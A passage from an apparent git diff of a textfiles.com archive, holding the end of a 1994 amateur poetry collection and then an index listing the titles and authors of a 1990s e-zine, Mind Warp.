microcosmic world) +But despite my adventurous spirit +I'm just another boy lookin' for a girl. + +So, anyway, I thought I'd found her +I felt so safe and warm +My heart tremored +Quakes of delight +A rose without a thorn! + +So I cascaded down the steepest slopes +Suddenly without fear +Pretending everything was all right +And that I wouldn't have to steer + +Thinking everything was OK +And that I wouldn't have to turn +That I would sail right into her life +But I just had to learn; + +That I was ordinary +No matter how special I may feel +And that special feeling is temporary +And that's what makes it oh so real. + +Like the bird and the worm +And the fish and the fly +And the balance of nature +And the way we survive + +And the loving and the lonely +And the frost and the seed +And it's only through contrast +That we may see... + +That it's the feeling that we crave +That drives us near insane +Yet we demand whoever brought it +Bring it back again + +But then they're just carriers +Like it could have been the flu +-First they love you +Then they don't- +And there's nothing you can do + + 'Cept button up 'gainst +The gales of emotion +And fall in love +Whenever love gets the notion. + + +silence. (c)1994 josh ruihley--------------------------------------------- + +the stabs of silence +poke at me +robbing all +i'll ever be +no chance for reversal +no chance to turn back +now is too bright +and then is too black +i forked to the right +when left was what was true +i forked to the right +when left it lead to you +so here i am +confused and mislead +my chance is dead +my chance is dead +so here i am +confused and mislead +there's nothing said +my chance is dead + + +Spiny Blue By Joel Wheeler------------------------------------------------ + +I've only seen you once -- + your azure mysteriousness + is so obvious to + all but me. + +You're everywhere, but not for me + -- a Saturday morning dream. + +A satisfied smirk is ever + apparent -- + + Sixteen short bits going + on thirty-two. + + +"the view from here" (c)1994 Amber Goddard-------------------------------- + +once, when i was very small and all things seemed good and shiny, + i fell into a round hole under the kitchen sink, and as i floated +weightlessly towards the prince of salamanders, i threw back my head and +laughed, because i knew things he didn't. + then he chewed off my innocence and, through the straw in my ear, +sucked away my + laughter. +this was when i was very small. + +the bond of life (c) 1994 by keith shapiro-------------------------------- + +somehow i knew that +when i first saw you +that you were the only +someone for me. + +at first you piqued at me +and then my curiosity +took over and wanted to know +something about you, dearest + +there is a bond between us +even if we cannot see or admit it +it has always been and will always be +from a moment frozen in thought + +time plays its leprechaun's tricks +dancing about and trying to break it +but that bond was formed out of time +and so he will never separate us + +even though you may have left +gone away to anther place +these bonds are formed of something +that has no bounds or distance + +and i will go on, doing and existing +waiting for the day when i can truly be +that is the day that you come back +that is the day that you return for me + +somehow i knew... the first time i saw you +that there was something different about us +i never knew until i first saw you +that you were meant to be my match + +and this bond will always be there +even after a million years +it is there and always between us +it lets us share our hopes and fears. + +but this is hard, the words don't come easy +each one is a though about you +i don't know if i can bear it much longer +being here, without seeing you. + + +. diff --git a/textfiles.com/magazines/MINDWARP.1 b/textfiles.com/magazines/MINDWARP.1 new file mode 100644 index 00000000..732c3f8a --- /dev/null +++ b/textfiles.com/magazines/MINDWARP.1 @@ -0,0 +1,96 @@ +
+mw-000.txt 2485
"Introduction to MW" by Raven +mw-001.txt 6901
"Disturbing Thoughts" by Raven +mw-002.txt 2593
"Untitled Poem" by Mustaine +mw-003.txt 7116
"School Phun #1" by Raven +mw-004.txt 4905
"Music Review: #1" by Mustaine +mw-005.txt 4085
"Technology..." by Raven +mw-006.txt 5725
"Music Review: #2" by Mustaine +mw-007.txt 4341
"Cruelty to Animals" by Raven +mw-008.txt 21966
"Network Hacking #1/2" by Mustaine +mw-009.txt 10175
"Network Hacking #2/2" by Mustaine +mw-010.txt 4681
"Mind Warp! Index #1" by Raven +mw-011.txt 6717
"Phone Death" by Raven +mw-012.txt 13073
"STUPIDRV.EXE" by Mustaine +mw-013.txt 2947
"Class Voting" by Raven & Catwoman +mw-014.txt 8736
"Music Review: #3" by Mustaine +mw-015.txt 4769
"Miscellaneous Poetry" by Dark Horse +mw-016.txt 4393
"Editorial" by Mustaine +mw-017.txt 5149
"What the Crime Bill SHOULD Read:" by Raven +mw-018.txt 6183
"Kids...They suck." by Mustaine +mw-019.txt 2163
"Untitled Poem" by Dark Horse +mw-020.txt 5285
"Phun With Snot" by Mustaine +mw-021.txt 3554
"The World's Suckiest Jobs" by Catwoman & Raven +mw-022.txt 4496
"Philisophical Wonderings" by Buckwheat +mw-023.txt 4489
"Whining about 'The Lion King' :)" by Mustaine +mw-024.txt 2949
"Just What the Hell IS Summer?" by Buckwheat +mw-025.txt 6628
"Music Review #4" by Mustaine +mw-026.txt 7853
"Mind Warp! Index #2" by Raven +mw-027.txt 4028
"The BLOND Virus" by Mustaine +mw-028.txt 5312
"Lighter Tricks" by Raven +mw-029.txt 2943
"Driving Grievances" by Slartibartfast +mw-030.txt 2808
"Untitled Poem" by Deker +mw-031.txt 3317
"Letter to Bozak" by Mustaine +mw-032.txt 3476
"Race" by Slartibartfast +mw-033.txt 4791
"Wild Walk" by >Anonymous< +mw-034.txt 6422
"School Phun #2" by Raven +mw-035.txt 3302
"The DAVE Continuum" by Slartibartfast +mw-036.txt 4578
"Misc. Poetry" by Mustaine +mw-037.txt 4259
"Labels Galore" by Raven +mw-038.txt 1934
"Untitled Poem #2" by Deker +mw-039.txt 3394
"What Happened to Musty?" by Mustaine +mw-040.txt 10007
"Mind Warp! Index #3" by Raven +mw-041.txt 6915
"Music Review #5" by Mustaine +mw-042.txt 5788
"the wop wop" by Angst +mw-043.txt 12033
"Musty's College Thang" by Mustaine +mw-044.txt 2527
"Rock the Cradle" by Mustaine +mw-045.txt 3723
"Stereograms" by raven +mw-046.txt 4471
"Musty's Ego Trip :)" by Mustaine +mw-047.txt 5576
"End of the World" by Killer Wombat +mw-048.txt 5921
"Music Review #6" by Mustaine +mw-049.txt 7695
"Musty Gets down and Dirty" by Mustaine +mw-050.txt 1894
"X-Men Chapstick" By Angst +mw-051.txt 4283
"Roomates" by Mustaine +mw-052.txt 3660
"Top Ten Lists" by Mustaine +mw-053.txt 6240
"Friends" by Mustaine +mw-054.txt 12563
"Mind Warp! Index #4" by Raven +mw-055.txt 2841
"That Wonderful, Awful Grinch" by Dark Horse +mw-056.txt 2209
"Sheep & Wool" by Pride +mw-057.txt 4229
"Poems for Alyson" by Dark Horse +mw-058.txt 8561
"Music Review: #7" by Mustaine +mw-059.txt 2115
"Sleazy" by Pride +mw-060.txt 8320
"Adventures in the Potty" by Mustaine +mw-061.txt 7807
"OOPS.ZIP" by Mustaine +mw-062.txt 5073
"Compression Utilities" by >Anonymous< +mw-063.txt 7233
"Midnight Blues - 1st Solo" by Dark Horse +mw-064.txt 10108
"Smurfs & Chicks " by Mustaine & Friends +mw-065.txt 4299
"Misc. Poetry" by Pride +mw-066.txt 4791
"Flame Response" by Mustaine +mw-067.txt 5388
"Musty Flames People #2" by Mustaine +mw-068.txt 2958
"Where's Raven?" by Mustaine +mw-069.txt 8789
"huh 69 huh" by >Anonymous< +mw-070.txt 13092
"Mind Warp! Index #5" by Mustaine +mw-071.txt 3264
"What the Hell???" by Mustaine +mw-072.txt 4628
"American Folk Stories : 2129 A.D." by Raven +mw-073.txt 4505
"Egypt Air 1996" by Mustaine +mw-074.txt 3428
"New Handgun Application" by Raven +mw-075.txt 5132
"Music" by Ninja-Man Bob +mw-076.txt 3297
"Squid's Poem" by Squid +mw-077.txt 15373
"Mind Warp View" by Raven +mw-078.txt 2578
"Misc. Love Poems" by Mustaine +mw-079.txt 13491
"Mind Warp! Index #6" by Mustaine +mw-080.txt 5545
"Surfing the Night Away" by Mustaine +mw-081.txt 5010
"Chronicles of Influenza" by Mustaine +mw-082.txt 1600
"Angry Thoughts" by Mustaine +mw-083.txt 6332
"Music Review: #8" by Mustaine +mw-084.txt 2154
"Warp, Mind" - by Mustaine +mw-085.txt 2262
"This Indiana Night" - by Chris +mw-086.txt 4408
"Editorial #2" - by Mustaine +mw-087.txt 2563
"Watching the Clouds" - by Chris +mw-088.txt 2553
"Four Essential Questions" - by Chris +mw-089.txt 2770
"Excuses to Get Out of Class" - by Raven +mw-090.txt 3436
"Whimsical Theories" - by Chris +mw-091.txt 3186
"To Save a Maiden" - by Chris +mw-092.txt 6247
"Music Review #9" - by Mustaine +mw-093.txt 15263
"Mind Warp! Index #7" by Mustaine +